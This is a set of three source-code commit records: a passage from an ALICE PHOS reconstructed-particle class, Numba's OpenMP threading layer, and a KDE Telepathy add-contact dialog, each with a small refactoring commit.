    fPID[1] = 0.00;
    fPID[2] = 0.00;
    fPID[3] = 0.00;
    fPID[4] = 1.00;
  }

  if (IsPhoton() || IsHardPhoton()) fPID[nSPECIES]  =1.0;
  if (IsHardPi0())                  fPID[nSPECIES+1]=1.0;
  if (IsFastNeutralHadron())        fPID[nSPECIES+2]=1.0;
  if (IsSlowNeutralHadron())        fPID[nSPECIES+3]=1.0;

  return fPID;
}
<commit_msg>extend initialisation of specties table to kSPECIES+3<commit_after>/**************************************************************************
 * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *
 *                                                                        *
 * Author: The ALICE Off-line Project.                                    *
 * Contributors are mentioned in the code where appropriate.              *
 *                                                                        *
 * Permission to use, copy, modify and distribute this software and its   *
 * documentation strictly for non-commercial purposes is hereby granted   *
 * without fee, provided that the above copyright notice appears in all   *
 * copies and that both the copyright notice and this permission notice   *
 * appear in the supporting documentation. The authors make no claims     *
 * about the suitability of this software for any purpose. It is          *
 * provided "as is" without express or implied warranty.                  *
 **************************************************************************/
/* $Id$ */
//_________________________________________________________________________
//  A Reconstructed Particle in PHOS
//  To become a general class of AliRoot ?
//  Why should I put meaningless comments
//  just to satisfy
//  the code checker
//
//*-- Author: Yves Schutz (SUBATECH)

// --- ROOT system ---

// --- Standard library ---

// --- AliRoot header files ---
#include "AliPHOSRecParticle.h"
#include "AliPHOSGetter.h"

//____________________________________________________________________________
  AliPHOSRecParticle::AliPHOSRecParticle(): fPHOSTrackSegment(0)  ,  fDebug( kFALSE )
{
  // ctor
  const Int_t nSPECIES = AliESDtrack::kSPECIES;
  for(Int_t i = 0; i<nSPECIES+4 ; i++)
    fPID[i]=0.;
}

//____________________________________________________________________________
 AliPHOSRecParticle::AliPHOSRecParticle(const AliPHOSRecParticle & rp)
   : AliPHOSFastRecParticle(rp)
{
  // copy ctor

  fPHOSTrackSegment = rp.fPHOSTrackSegment ;
  fDebug            = kFALSE ;
  fType             = rp.fType ;
  fIndexInList      = rp.fIndexInList ;

  fPdgCode     = rp.fPdgCode;
  fStatusCode  = rp.fStatusCode;
  fMother[0]   = rp.fMother[0];
  fMother[1]   = rp.fMother[1];
  fDaughter[0] = rp.fDaughter[0];
  fDaughter[1] = rp.fDaughter[1];
  fWeight      = rp.fWeight;
  fCalcMass    = rp.fCalcMass;
  fPx          = rp.fPx;
  fPy          = rp.fPy;
  fPz          = rp.fPz;
  fE           = rp.fE;
  fVx          = rp.fVx;
  fVy          = rp.fVy;
  fVz          = rp.fVz;
  fVt          = rp.fVt;
  fPolarTheta  = rp.fPolarTheta;
  fPolarPhi    = rp.fPolarPhi;
  fParticlePDG = rp.fParticlePDG;
  const Int_t nSPECIES = AliESDtrack::kSPECIES;
  for(Int_t i = 0; i<nSPECIES+4 ; i++)
    fPID[i]=rp.fPID[i];
}

//____________________________________________________________________________
const Int_t AliPHOSRecParticle::GetNPrimaries() const
{
  return -1;
}

//____________________________________________________________________________
const Int_t AliPHOSRecParticle::GetNPrimariesToRecParticles() const
{
  // Get the number of primaries at the origine of the RecParticle
  Int_t rv = 0 ;
  AliPHOSGetter * gime = AliPHOSGetter::Instance() ;
  Int_t emcRPindex = dynamic_cast<AliPHOSTrackSegment*>(gime->TrackSegments()->At(GetPHOSTSIndex()))->GetEmcIndex();
  dynamic_cast<AliPHOSEmcRecPoint*>(gime->EmcRecPoints()->At(emcRPindex))->GetPrimaries(rv) ;
  return rv ;
}

//____________________________________________________________________________
const TParticle * AliPHOSRecParticle::GetPrimary(Int_t index) const
{
  // Get the list of primary particles at the origine of the RecParticle
  if ( index > GetNPrimariesToRecParticles() ) {
    if (fDebug)
      Warning("GetPrimary", "AliPHOSRecParticle::GetPrimary -> %d is larger that the number of primaries %d",
	      index, GetNPrimaries()) ;
    return 0 ;
  }
  else {
    Int_t dummy ;
    AliPHOSGetter * gime = AliPHOSGetter::Instance() ;

    Int_t emcRPindex = dynamic_cast<AliPHOSTrackSegment*>(gime->TrackSegments()->At(GetPHOSTSIndex()))->GetEmcIndex();
    Int_t primaryindex = dynamic_cast<AliPHOSEmcRecPoint*>(gime->EmcRecPoints()->At(emcRPindex))->GetPrimaries(dummy)[index] ;
    return gime->Primary(primaryindex) ;
   }
  //  return 0 ;
}
//____________________________________________________________________________
const Double_t * AliPHOSRecParticle::GetPID()
{
  // Get the probability densities that this reconstructed particle
  // has a type of i:
  // i       particle types
  // ----------------------
  // 0       electron
  // 1       muon
  // 2       pi+-
  // 3       K+-
  // 4       p/pbar
  // 5       photon
  // 6       pi0 at high pt
  // 7       neutron
  // 8       K0L

  const Int_t nSPECIES = AliESDtrack::kSPECIES;
  if (IsElectron()     ) fPID[0] = 1.0;
  if (IsChargedHadron()) {
    fPID[1] = 0.25;
    fPID[2] = 0.25;
    fPID[3] = 0.25;
    fPID[4] = 0.25;
  }
  if (IsFastChargedHadron()) {
    fPID[1] = 0.33;
    fPID[2] = 0.33;
    fPID[3] = 0.33;
    fPID[4] = 0.00;
  }
  if (IsSlowChargedHadron()) {
    fPID[1] = 0.00;
    fPID[2] = 0.00;
    fPID[3] = 0.00;
    fPID[4] = 1.00;
  }

  if (IsPhoton() || IsHardPhoton()) fPID[nSPECIES]  =1.0;
  if (IsHardPi0())                  fPID[nSPECIES+1]=1.0;
  if (IsFastNeutralHadron())        fPID[nSPECIES+2]=1.0;
  if (IsSlowNeutralHadron())        fPID[nSPECIES+3]=1.0;

  return fPID;
}
<|endoftext|>


<commit_before>/*
Threading layer on top of OpenMP.
*/

#include "../../_pymodule.h"
#ifdef _POSIX_C_SOURCE
#undef _POSIX_C_SOURCE
#endif
#ifdef _XOPEN_SOURCE
#undef _XOPEN_SOURCE
#endif
#include <omp.h>
#include <string.h>
#include <stdio.h>
#include "workqueue.h"
#include "gufunc_scheduler.h"

#ifdef _MSC_VER
#include <malloc.h>
#else
#include <pthread.h>
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#endif

#define _DEBUG 0
#define _DEBUG_FORK 0

// OpenMP vendor strings
#if defined(_MSC_VER)
#define _OMP_VENDOR "MS"
#elif defined(__clang__)
#define _OMP_VENDOR "Intel"
#elif defined(__GNUC__) // NOTE: clang also defines this, but it's checked above
#define _NOT_FORKSAFE 1 // GNU OpenMP Not forksafe
#define _OMP_VENDOR "GNU"
#endif

#if defined(_NOT_FORKSAFE)
static pid_t parent_pid = 0; // 0 is not set, users can't own this anyway
#endif

#ifdef _MSC_VER
#define THREAD_LOCAL(ty) __declspec(thread) ty
#else
/* Non-standard C99 extension that's understood by gcc and clang */
#define THREAD_LOCAL(ty) __thread ty
#endif

// This is the number of threads that is default, it is set on initialisation of
// the threading backend via the launch_threads() call
static int _INIT_NUM_THREADS = -1;

// This is the per-thread thread mask, each thread can carry its own mask.
static THREAD_LOCAL(int) _TLS_num_threads = 0;

static void
set_num_threads(int count)
{
    _TLS_num_threads = count;
}

static int
get_num_threads(void)
{
    if (_TLS_num_threads == 0)
    {
        // This is a thread that did not call launch_threads() but is still a
        // "main" thread, probably from e.g. threading.Thread() use, it still
        // has a TLS slot which is 0 from the lack of launch_threads() call
        _TLS_num_threads = _INIT_NUM_THREADS;
    }
    return _TLS_num_threads;
}

static int
get_thread_id(void)
{
    return omp_get_thread_num();
}

static void
add_task(void *fn, void *args, void *dims, void *steps, void *data)
{
    puts("Running add_task() with omppool sequentially");
    typedef void (*func_ptr_t)(void *args, void *dims, void *steps, void *data);
    func_ptr_t func = reinterpret_cast<func_ptr_t>(fn);
    func(args, dims, steps, data);
}

static void
parallel_for(void *fn, char **args, size_t *dimensions, size_t *steps, void *data,
             size_t inner_ndim, size_t array_count, int num_threads)
{
    typedef void (*func_ptr_t)(char **args, size_t *dims, size_t *steps, void *data);
    func_ptr_t func = reinterpret_cast<func_ptr_t>(fn);
    static bool printed = false;
    if(!printed && _DEBUG)
    {
        puts("Using parallel_for");
        printed = true;
    }

#if defined(_NOT_FORKSAFE)
    // Handle GNU OpenMP not being forksafe...
    // This checks if the pid set by the process that initialized this library
    // matches the parent of this pid. If they do match this is a fork() from
    // Python and not a spawn(), as spawn()s reinit the library. Forks are
    // dangerous as GNU OpenMP is not forksafe, so warn then terminate.
    if(_DEBUG_FORK)
    {
        printf("Registered parent pid=%d, my pid=%d, my parent pid=%d\n", parent_pid, getpid(), getppid());
    }
    if (parent_pid == getppid())
    {
        fprintf(stderr, "%s", "Terminating: fork() called from a process "
                "already using GNU OpenMP, this is unsafe.\n");
        raise(SIGTERM);
        return;
    }
#endif

    //     args = <ir.Argument '.1' of type i8**>,
    //     dimensions = <ir.Argument '.2' of type i64*>
    //     steps = <ir.Argument '.3' of type i64*>
    //     data = <ir.Argument '.4' of type i8*>

    const size_t arg_len = (inner_ndim + 1);
    // index variable in OpenMP 'for' statement must have signed integral type for MSVC
    const ptrdiff_t size = (ptrdiff_t)dimensions[0];

    // holds the shared variable for `num_threads`, this is a bit superfluous
    // but present to force thinking about the scope of validity
    int agreed_nthreads = num_threads;

    if(_DEBUG)
    {
        printf("inner_ndim: %zu\n",inner_ndim);
        printf("arg_len: %zu\n", arg_len);
        printf("total: %td\n", size);
        printf("dimensions: ");
        for(size_t j = 0; j < arg_len; j++)
            printf("%zu, ", ((size_t *)dimensions)[j]);
        printf("\nsteps: ");
        for(size_t j = 0; j < array_count; j++)
            printf("%zu, ", steps[j]);
        printf("\n*args: ");
        for(size_t j = 0; j < array_count; j++)
            printf("%p, ", (void *)args[j]);
        printf("\n");
    }

    // Set the thread mask on the pragma such that the state is scope limited
    // and passed via a register on the OMP region call site, this limiting
    // global state and racing
    #pragma omp parallel num_threads(num_threads), shared(agreed_nthreads)
    {
        size_t * count_space = (size_t *)alloca(sizeof(size_t) * arg_len);
        char ** array_arg_space = (char**)alloca(sizeof(char*) * array_count);

        // tell the active thread team about the number of threads
        set_num_threads(agreed_nthreads);

        #pragma omp for
        for(ptrdiff_t r = 0; r < size; r++)
        {
            memcpy(count_space, dimensions, arg_len * sizeof(size_t));
            count_space[0] = 1;

            if(_DEBUG)
            {
                printf("THREAD %p:", count_space);
                printf("count_space: ");
                for(size_t j = 0; j < arg_len; j++)
                    printf("%zd, ", count_space[j]);
                printf("\n");
            }
            for(size_t j = 0; j < array_count; j++)
            {
                char * base = args[j];
                size_t step = steps[j];
                ptrdiff_t offset = step * r;
                array_arg_space[j] = base + offset;

                if(0&&_DEBUG)
                {
                    printf("Index %zu\n", j);
                    printf("-->Got base %p\n", (void *)base);
                    printf("-->Got step %zu\n", step);
                    printf("-->Got offset %td\n", offset);
                    printf("-->Got addr %p\n", (void *)array_arg_space[j]);
                }
            }

            if(_DEBUG)
            {
                printf("array_arg_space: ");
                for(size_t j = 0; j < array_count; j++)
                    printf("%p, ", (void *)array_arg_space[j]);
                printf("\n");
            }
            func(array_arg_space, count_space, steps, data);
        }
    }
}

static void launch_threads(int count)
{
    // this must be called in a fork+thread safe region from Python
    static bool initialized = false;
#ifdef _NOT_FORKSAFE
    parent_pid = getpid(); // record the parent PID for use later
    if(_DEBUG_FORK)
    {
        printf("Setting parent as %d\n", parent_pid);
    }
#endif
    if(initialized)
        return;
    if(_DEBUG)
        puts("Using OpenMP");
    if(count < 1)
        return;
    omp_set_num_threads(count);
    omp_set_nested(0x1); // enable nesting, control depth with OMP env var
    _INIT_NUM_THREADS = count;
}

static void synchronize(void)
{
}

static void ready(void)
{
}

MOD_INIT(omppool)
{
    PyObject *m;
    MOD_DEF(m, "omppool", "No docs", NULL)
    if (m == NULL)
        return MOD_ERROR_VAL;

    SetAttrStringFromVoidPointer(m, launch_threads);
    SetAttrStringFromVoidPointer(m, synchronize);
    SetAttrStringFromVoidPointer(m, ready);
    SetAttrStringFromVoidPointer(m, add_task);
    SetAttrStringFromVoidPointer(m, parallel_for);
    SetAttrStringFromVoidPointer(m, do_scheduling_signed);
    SetAttrStringFromVoidPointer(m, do_scheduling_unsigned);
    SetAttrStringFromVoidPointer(m, set_num_threads);
    SetAttrStringFromVoidPointer(m, get_num_threads);
    SetAttrStringFromVoidPointer(m, get_thread_id);
    SetAttrStringFromVoidPointer(m, set_parallel_chunksize);
    SetAttrStringFromVoidPointer(m, get_parallel_chunksize);
    SetAttrStringFromVoidPointer(m, get_sched_size);

    PyObject *tmp = PyString_FromString(_OMP_VENDOR);
    PyObject_SetAttrString(m, "openmp_vendor", tmp);
    Py_DECREF(tmp);

    return MOD_SUCCESS_VAL(m);
}
<commit_msg>OpenMP does not need pthreads<commit_after>/*
Threading layer on top of OpenMP.
*/

#include "../../_pymodule.h"
#ifdef _POSIX_C_SOURCE
#undef _POSIX_C_SOURCE
#endif
#ifdef _XOPEN_SOURCE
#undef _XOPEN_SOURCE
#endif
#include <omp.h>
#include <string.h>
#include <stdio.h>
#include "workqueue.h"
#include "gufunc_scheduler.h"

#ifdef _MSC_VER
#include <malloc.h>
#else
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>
#endif

#define _DEBUG 0
#define _DEBUG_FORK 0

// OpenMP vendor strings
#if defined(_MSC_VER)
#define _OMP_VENDOR "MS"
#elif defined(__clang__)
#define _OMP_VENDOR "Intel"
#elif defined(__GNUC__) // NOTE: clang also defines this, but it's checked above
#define _NOT_FORKSAFE 1 // GNU OpenMP Not forksafe
#define _OMP_VENDOR "GNU"
#endif

#if defined(_NOT_FORKSAFE)
static pid_t parent_pid = 0; // 0 is not set, users can't own this anyway
#endif

#ifdef _MSC_VER
#define THREAD_LOCAL(ty) __declspec(thread) ty
#else
/* Non-standard C99 extension that's understood by gcc and clang */
#define THREAD_LOCAL(ty) __thread ty
#endif

// This is the number of threads that is default, it is set on initialisation of
// the threading backend via the launch_threads() call
static int _INIT_NUM_THREADS = -1;

// This is the per-thread thread mask, each thread can carry its own mask.
static THREAD_LOCAL(int) _TLS_num_threads = 0;

static void
set_num_threads(int count)
{
    _TLS_num_threads = count;
}

static int
get_num_threads(void)
{
    if (_TLS_num_threads == 0)
    {
        // This is a thread that did not call launch_threads() but is still a
        // "main" thread, probably from e.g. threading.Thread() use, it still
        // has a TLS slot which is 0 from the lack of launch_threads() call
        _TLS_num_threads = _INIT_NUM_THREADS;
    }
    return _TLS_num_threads;
}

static int
get_thread_id(void)
{
    return omp_get_thread_num();
}

static void
add_task(void *fn, void *args, void *dims, void *steps, void *data)
{
    puts("Running add_task() with omppool sequentially");
    typedef void (*func_ptr_t)(void *args, void *dims, void *steps, void *data);
    func_ptr_t func = reinterpret_cast<func_ptr_t>(fn);
    func(args, dims, steps, data);
}

static void
parallel_for(void *fn, char **args, size_t *dimensions, size_t *steps, void *data,
             size_t inner_ndim, size_t array_count, int num_threads)
{
    typedef void (*func_ptr_t)(char **args, size_t *dims, size_t *steps, void *data);
    func_ptr_t func = reinterpret_cast<func_ptr_t>(fn);
    static bool printed = false;
    if(!printed && _DEBUG)
    {
        puts("Using parallel_for");
        printed = true;
    }

#if defined(_NOT_FORKSAFE)
    // Handle GNU OpenMP not being forksafe...
    // This checks if the pid set by the process that initialized this library
    // matches the parent of this pid. If they do match this is a fork() from
    // Python and not a spawn(), as spawn()s reinit the library. Forks are
    // dangerous as GNU OpenMP is not forksafe, so warn then terminate.
    if(_DEBUG_FORK)
    {
        printf("Registered parent pid=%d, my pid=%d, my parent pid=%d\n", parent_pid, getpid(), getppid());
    }
    if (parent_pid == getppid())
    {
        fprintf(stderr, "%s", "Terminating: fork() called from a process "
                "already using GNU OpenMP, this is unsafe.\n");
        raise(SIGTERM);
        return;
    }
#endif

    //     args = <ir.Argument '.1' of type i8**>,
    //     dimensions = <ir.Argument '.2' of type i64*>
    //     steps = <ir.Argument '.3' of type i64*>
    //     data = <ir.Argument '.4' of type i8*>

    const size_t arg_len = (inner_ndim + 1);
    // index variable in OpenMP 'for' statement must have signed integral type for MSVC
    const ptrdiff_t size = (ptrdiff_t)dimensions[0];

    // holds the shared variable for `num_threads`, this is a bit superfluous
    // but present to force thinking about the scope of validity
    int agreed_nthreads = num_threads;

    if(_DEBUG)
    {
        printf("inner_ndim: %zu\n",inner_ndim);
        printf("arg_len: %zu\n", arg_len);
        printf("total: %td\n", size);
        printf("dimensions: ");
        for(size_t j = 0; j < arg_len; j++)
            printf("%zu, ", ((size_t *)dimensions)[j]);
        printf("\nsteps: ");
        for(size_t j = 0; j < array_count; j++)
            printf("%zu, ", steps[j]);
        printf("\n*args: ");
        for(size_t j = 0; j < array_count; j++)
            printf("%p, ", (void *)args[j]);
        printf("\n");
    }

    // Set the thread mask on the pragma such that the state is scope limited
    // and passed via a register on the OMP region call site, this limiting
    // global state and racing
    #pragma omp parallel num_threads(num_threads), shared(agreed_nthreads)
    {
        size_t * count_space = (size_t *)alloca(sizeof(size_t) * arg_len);
        char ** array_arg_space = (char**)alloca(sizeof(char*) * array_count);

        // tell the active thread team about the number of threads
        set_num_threads(agreed_nthreads);

        #pragma omp for
        for(ptrdiff_t r = 0; r < size; r++)
        {
            memcpy(count_space, dimensions, arg_len * sizeof(size_t));
            count_space[0] = 1;

            if(_DEBUG)
            {
                printf("THREAD %p:", count_space);
                printf("count_space: ");
                for(size_t j = 0; j < arg_len; j++)
                    printf("%zd, ", count_space[j]);
                printf("\n");
            }
            for(size_t j = 0; j < array_count; j++)
            {
                char * base = args[j];
                size_t step = steps[j];
                ptrdiff_t offset = step * r;
                array_arg_space[j] = base + offset;

                if(0&&_DEBUG)
                {
                    printf("Index %zu\n", j);
                    printf("-->Got base %p\n", (void *)base);
                    printf("-->Got step %zu\n", step);
                    printf("-->Got offset %td\n", offset);
                    printf("-->Got addr %p\n", (void *)array_arg_space[j]);
                }
            }

            if(_DEBUG)
            {
                printf("array_arg_space: ");
                for(size_t j = 0; j < array_count; j++)
                    printf("%p, ", (void *)array_arg_space[j]);
                printf("\n");
            }
            func(array_arg_space, count_space, steps, data);
        }
    }
}

static void launch_threads(int count)
{
    // this must be called in a fork+thread safe region from Python
    static bool initialized = false;
#ifdef _NOT_FORKSAFE
    parent_pid = getpid(); // record the parent PID for use later
    if(_DEBUG_FORK)
    {
        printf("Setting parent as %d\n", parent_pid);
    }
#endif
    if(initialized)
        return;
    if(_DEBUG)
        puts("Using OpenMP");
    if(count < 1)
        return;
    omp_set_num_threads(count);
    omp_set_nested(0x1); // enable nesting, control depth with OMP env var
    _INIT_NUM_THREADS = count;
}

static void synchronize(void)
{
}

static void ready(void)
{
}

MOD_INIT(omppool)
{
    PyObject *m;
    MOD_DEF(m, "omppool", "No docs", NULL)
    if (m == NULL)
        return MOD_ERROR_VAL;

    SetAttrStringFromVoidPointer(m, launch_threads);
    SetAttrStringFromVoidPointer(m, synchronize);
    SetAttrStringFromVoidPointer(m, ready);
    SetAttrStringFromVoidPointer(m, add_task);
    SetAttrStringFromVoidPointer(m, parallel_for);
    SetAttrStringFromVoidPointer(m, do_scheduling_signed);
    SetAttrStringFromVoidPointer(m, do_scheduling_unsigned);
    SetAttrStringFromVoidPointer(m, set_num_threads);
    SetAttrStringFromVoidPointer(m, get_num_threads);
    SetAttrStringFromVoidPointer(m, get_thread_id);
    SetAttrStringFromVoidPointer(m, set_parallel_chunksize);
    SetAttrStringFromVoidPointer(m, get_parallel_chunksize);
    SetAttrStringFromVoidPointer(m, get_sched_size);

    PyObject *tmp = PyString_FromString(_OMP_VENDOR);
    PyObject_SetAttrString(m, "openmp_vendor", tmp);
    Py_DECREF(tmp);

    return MOD_SUCCESS_VAL(m);
}
<|endoftext|>


<commit_before>/*
 * Add contact dialog
 *
 * Copyright (C) 2011 David Edmundson <kde@davidedmundson.co.uk>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

#include "add-contact-dialog.h"
#include "ui_add-contact-dialog.h"

#include <KTp/Models/accounts-model.h>
#include <KTp/Models/accounts-model-item.h>

#include <QObject>
#include <QSortFilterProxyModel>
#include <QCloseEvent>

#include <KMessageBox>
#include <KPushButton>
#include <KDebug>

#include <TelepathyQt/Account>
#include <TelepathyQt/Connection>
#include <TelepathyQt/ContactManager>
#include <TelepathyQt/PendingContacts>

namespace KTp {

/** A filter which only lists connections which accept adding contacts*/
class KTP_NO_EXPORT SubscribableAccountsModel : public QSortFilterProxyModel
{
public:
    SubscribableAccountsModel(QObject *parent);
    virtual bool filterAcceptsRow(int source_row, const QModelIndex &source_parent) const;
};

SubscribableAccountsModel::SubscribableAccountsModel(QObject *parent)
 : QSortFilterProxyModel(parent)
{
}

bool SubscribableAccountsModel::filterAcceptsRow(int source_row, const QModelIndex &source_parent) const
{
    AccountsModelItem* item = sourceModel()->index(source_row, 0, source_parent).data(AccountsModel::ItemRole).value<AccountsModelItem*>();

    if (item) {
        Tp::AccountPtr account = item->account();

        //if there's no connection we can't add contacts as we have no contactmanager
        if (! account->connection()) {
            return false;
        }

        //only show items which can add a contact (i.e hide accounts like IRC which are online but there's no point listing)
        if (! account->connection()->contactManager()->canRequestPresenceSubscription()){
            return false;
        }
    }
    return true;
}

struct KTP_NO_EXPORT AddContactDialog::Private
{
    Private() :
        ui(new Ui::AddContactDialog),
        acceptInProgress(false)
    {}

    Ui::AddContactDialog *ui;
    bool acceptInProgress;
};

AddContactDialog::AddContactDialog(AccountsModel *accountModel, QWidget *parent) :
    KDialog(parent),
    d(new Private)
{
    QWidget *widget = new QWidget(this);
    d->ui->setupUi(widget);
    setMainWidget(widget);

    SubscribableAccountsModel *filteredModel = new SubscribableAccountsModel(this);
    filteredModel->setSourceModel(accountModel);
    for (int i = 0; i < filteredModel->rowCount(); ++i) {
        //TODO accountCombo->setModel()
        d->ui->accountCombo->addItem(KIcon(filteredModel->data(filteredModel->index(i, 0), AccountsModel::IconRole).toString()),
                                  filteredModel->data(filteredModel->index(i, 0)).toString(),
                                  filteredModel->data(filteredModel->index(i, 0), AccountsModel::ItemRole));
    }

    d->ui->screenNameLineEdit->setFocus();
}

AddContactDialog::~AddContactDialog()
{
    delete d->ui;
    delete d;
}

void AddContactDialog::accept()
{
    Tp::AccountPtr account;
    QVariant itemData = d->ui->accountCombo->itemData(d->ui->accountCombo->currentIndex(), AccountsModel::ItemRole);
    AccountsModelItem* item = itemData.value<AccountsModelItem*>();
    if (item) {
        account = item->account();
    }

    if (account.isNull()) {
        KMessageBox::error(this,
                i18n("Seems like you forgot to select an account. Also do not forget to connect it first."),
                i18n("No Account Selected"));
    } else if (account->connection().isNull()) {
        KMessageBox::error(this,
                i18n("The requested account has disconnected and so the contact could not be added. Sorry."),
                i18n("Connection Error"));
    } else {
        QStringList identifiers = QStringList() << d->ui->screenNameLineEdit->text();
        Tp::PendingContacts *pendingContacts = account->connection()->contactManager()->contactsForIdentifiers(identifiers);
        connect(pendingContacts, SIGNAL(finished(Tp::PendingOperation*)),
                this, SLOT(_k_onContactsForIdentifiersFinished(Tp::PendingOperation*)));
        setInProgress(true);
    }
}

void AddContactDialog::closeEvent(QCloseEvent *e)
{
    // ignore close event if we are in the middle of an operation
    if (!d->acceptInProgress) {
        KDialog::closeEvent(e);
    }
}

void AddContactDialog::_k_onContactsForIdentifiersFinished(Tp::PendingOperation *op)
{
    if (op->isError()) {
        kDebug() << "Failed to retrieve a contact for the given identifier"
                 << op->errorName() << op->errorMessage();
        KMessageBox::error(this, i18n("Failed to construct a contact with the given name"));
        setInProgress(false);
    } else {
        Tp::PendingContacts *pc = qobject_cast<Tp::PendingContacts*>(op);
        connect(pc->manager()->requestPresenceSubscription(pc->contacts()),
                SIGNAL(finished(Tp::PendingOperation*)),
                SLOT(_k_onRequestPresenceSubscriptionFinished(Tp::PendingOperation*)));
    }
}

void AddContactDialog::_k_onRequestPresenceSubscriptionFinished(Tp::PendingOperation *op)
{
    if (op->isError()) {
        kDebug() << "Failed to request presence subscription"
                 << op->errorName() << op->errorMessage();
        KMessageBox::error(this, i18n("Failed to request presence subscription from the requested contact"));
        setInProgress(false);
    } else {
        QDialog::accept();
    }
}

void AddContactDialog::setInProgress(bool inProgress)
{
    d->acceptInProgress = inProgress;
    mainWidget()->setEnabled(!inProgress);
    button(KDialog::Ok)->setEnabled(!inProgress);
    button(KDialog::Cancel)->setEnabled(!inProgress);
}

} //namespace KTp

#include "add-contact-dialog.moc"
<commit_msg>AddContactsDialog: Use QComboBox::setModel() instead of manually populating it with entries from the model<commit_after>/*
 * Add contact dialog
 *
 * Copyright (C) 2011 David Edmundson <kde@davidedmundson.co.uk>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

#include "add-contact-dialog.h"
#include "ui_add-contact-dialog.h"

#include <KTp/Models/accounts-model.h>
#include <KTp/Models/accounts-model-item.h>

#include <QObject>
#include <QSortFilterProxyModel>
#include <QCloseEvent>

#include <KMessageBox>
#include <KPushButton>
#include <KDebug>

#include <TelepathyQt/Account>
#include <TelepathyQt/Connection>
#include <TelepathyQt/ContactManager>
#include <TelepathyQt/PendingContacts>

namespace KTp {

/** A filter which only lists connections which accept adding contacts*/
class KTP_NO_EXPORT SubscribableAccountsModel : public QSortFilterProxyModel
{
public:
    SubscribableAccountsModel(QObject *parent);
    virtual bool filterAcceptsRow(int source_row, const QModelIndex &source_parent) const;
};

SubscribableAccountsModel::SubscribableAccountsModel(QObject *parent)
 : QSortFilterProxyModel(parent)
{
}

bool SubscribableAccountsModel::filterAcceptsRow(int source_row, const QModelIndex &source_parent) const
{
    AccountsModelItem* item = sourceModel()->index(source_row, 0, source_parent).data(AccountsModel::ItemRole).value<AccountsModelItem*>();

    if (item) {
        Tp::AccountPtr account = item->account();

        //if there's no connection we can't add contacts as we have no contactmanager
        if (! account->connection()) {
            return false;
        }

        //only show items which can add a contact (i.e hide accounts like IRC which are online but there's no point listing)
        if (! account->connection()->contactManager()->canRequestPresenceSubscription()){
            return false;
        }
    }
    return true;
}

struct KTP_NO_EXPORT AddContactDialog::Private
{
    Private() :
        ui(new Ui::AddContactDialog),
        acceptInProgress(false)
    {}

    Ui::AddContactDialog *ui;
    bool acceptInProgress;
};

AddContactDialog::AddContactDialog(AccountsModel *accountModel, QWidget *parent) :
    KDialog(parent),
    d(new Private)
{
    QWidget *widget = new QWidget(this);
    d->ui->setupUi(widget);
    setMainWidget(widget);

    SubscribableAccountsModel *filteredModel = new SubscribableAccountsModel(this);
    filteredModel->setSourceModel(accountModel);
    d->ui->accountCombo->setModel(filteredModel);

    d->ui->screenNameLineEdit->setFocus();
}

AddContactDialog::~AddContactDialog()
{
    delete d->ui;
    delete d;
}

void AddContactDialog::accept()
{
    Tp::AccountPtr account;
    QVariant itemData = d->ui->accountCombo->itemData(d->ui->accountCombo->currentIndex(), AccountsModel::ItemRole);
    AccountsModelItem* item = itemData.value<AccountsModelItem*>();
    if (item) {
        account = item->account();
    }

    if (account.isNull()) {
        KMessageBox::error(this,
                i18n("Seems like you forgot to select an account. Also do not forget to connect it first."),
                i18n("No Account Selected"));
    } else if (account->connection().isNull()) {
        KMessageBox::error(this,
                i18n("The requested account has disconnected and so the contact could not be added. Sorry."),
                i18n("Connection Error"));
    } else {
        QStringList identifiers = QStringList() << d->ui->screenNameLineEdit->text();
        Tp::PendingContacts *pendingContacts = account->connection()->contactManager()->contactsForIdentifiers(identifiers);
        connect(pendingContacts, SIGNAL(finished(Tp::PendingOperation*)),
                this, SLOT(_k_onContactsForIdentifiersFinished(Tp::PendingOperation*)));
        setInProgress(true);
    }
}

void AddContactDialog::closeEvent(QCloseEvent *e)
{
    // ignore close event if we are in the middle of an operation
    if (!d->acceptInProgress) {
        KDialog::closeEvent(e);
    }
}

void AddContactDialog::_k_onContactsForIdentifiersFinished(Tp::PendingOperation *op)
{
    if (op->isError()) {
        kDebug() << "Failed to retrieve a contact for the given identifier"
                 << op->errorName() << op->errorMessage();
        KMessageBox::error(this, i18n("Failed to construct a contact with the given name"));
        setInProgress(false);
    } else {
        Tp::PendingContacts *pc = qobject_cast<Tp::PendingContacts*>(op);
        connect(pc->manager()->requestPresenceSubscription(pc->contacts()),
                SIGNAL(finished(Tp::PendingOperation*)),
                SLOT(_k_onRequestPresenceSubscriptionFinished(Tp::PendingOperation*)));
    }
}

void AddContactDialog::_k_onRequestPresenceSubscriptionFinished(Tp::PendingOperation *op)
{
    if (op->isError()) {
        kDebug() << "Failed to request presence subscription"
                 << op->errorName() << op->errorMessage();
        KMessageBox::error(this, i18n("Failed to request presence subscription from the requested contact"));
        setInProgress(false);
    } else {
        QDialog::accept();
    }
}

void AddContactDialog::setInProgress(bool inProgress)
{
    d->acceptInProgress = inProgress;
    mainWidget()->setEnabled(!inProgress);
    button(KDialog::Ok)->setEnabled(!inProgress);
    button(KDialog::Cancel)->setEnabled(!inProgress);
}

} //namespace KTp

#include "add-contact-dialog.moc"
<|endoftext|>